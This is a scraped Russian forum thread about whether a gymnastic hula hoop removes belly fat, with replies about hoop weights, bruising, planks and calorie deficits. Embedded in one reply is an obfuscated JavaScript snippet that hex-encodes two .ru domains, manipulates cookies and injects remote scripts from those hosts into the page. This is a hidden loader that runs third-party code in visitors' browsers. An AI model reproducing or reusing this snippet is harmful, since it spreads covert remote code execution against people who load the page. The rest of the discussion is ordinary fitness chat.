Обруч гимнастический
Целлюлит и борьба с нимДевочки,купила вчера обруч, хотела убрать живот. кручу около 2 часов в день,но мне кажется он бесполезный,потому что легкий. В магазине попросила продавца помочь,она предложила металлический 750 мм 300 гр. Мне кажется надо тяжелее, но смогу ли я его крутить,я этот то с трудом. падает часто. купить новый или этот все таки чем то полезен?
Александра
не тратьте деньги зря....девочки правильно пишут...никакие обручи живот не уберет...живот - это индикатор лишнего веса...наладьте питание...лишние кг уйдут и уйдет живот...
15.08.2015
Ответить
Ириска
Девчонки, это вы все серьёзно что ли???? Обручем убрать живот??? Или качанием пресса? Избавиться от лишнего веса можно только при дефиците калорий. Не ведитесь на хрень!
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18167",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
14.08.2015
Ответить
elo4e4ka
Я до Б крутила джимфлекстор, вот это вещь! Я три года пресс не качаю уже, а пресс есть)))
14.08.2015
Ответить
Miilla
У меня с пупырками и металическими грузинками внутри. Обоже!! Какие у меня синяки на боках были. Фиолетовые. И по почкам бьет. Стала делать планку стандартную, боковую и т д бока сходить стали.
14.08.2015
Ответить
Miilla
14.08.2015
Ответить
Ирина
ааа. видела такое,не знала что так называется. Надо попробовать. а то пресс бессмысленно качать говорят
14.08.2015
Ответить
Miilla
Кто ленится и ничего не делает, тому и бегать бессмысленно и в зал ходить)))
14.08.2015
Ответить
Juli_Ya
А на вытянутых руках если делать, эффект будет? Я начала, упражнение нравится, но на вытянутых мне удобнее..
14.08.2015
Ответить
Miilla
Надо чередовать все виды. Иделать это 5-7 минут. Не меньше. При смене видов планок например через 30 секунд. Полная, на локтях, боковая слева, справа, снова полная... Тогда и будет результат.
14.08.2015
Ответить
Juli_Ya
Спасибо. То есть каждую позицию по 39 секунд? Знаю, что планка ооочень эффективна.
15.08.2015
Ответить
Джулия
У меня такой. За месяц нерегулярных тренировок минус 2 см. Вес на месте. Он может и не так эффективен, как упражнения для пресса. Но я пресс качать совсем не могу - у меня копчик болит и куча других левых отмазок.
1,5 кг в спорт мастере за 1тыр.
14.08.2015
Ответить
Татьяна!
У меня был железный, увесистый такой, так вот я когда только начинала его крутить у меня на бедрах прям синячища были. Я первую неделю сквозь больислёзы крутила.
14.08.2015
Ответить
Ирина
Я в школе совсем не могла крутить. а тут купила легкий, пытаюсь научиться. Сегодня третий день вроде уже получается,но за два дня предыдущих я отбила все что можно. синяки на коленках,бедрах, по всей кости от колена и даже на стопах я мастер
14.08.2015
Ответить
Татьяна!
Ваше кун-фу лучше моего)))Ничего, научитесь. а понаклоняться за упавшим обручем тоже тренировка)))
14.08.2015
Ответить
Ирина
Действительно тайна. Все вокруг их так нахваливают, что и худеют от них и органы лучше работают.(
14.08.2015
Ответить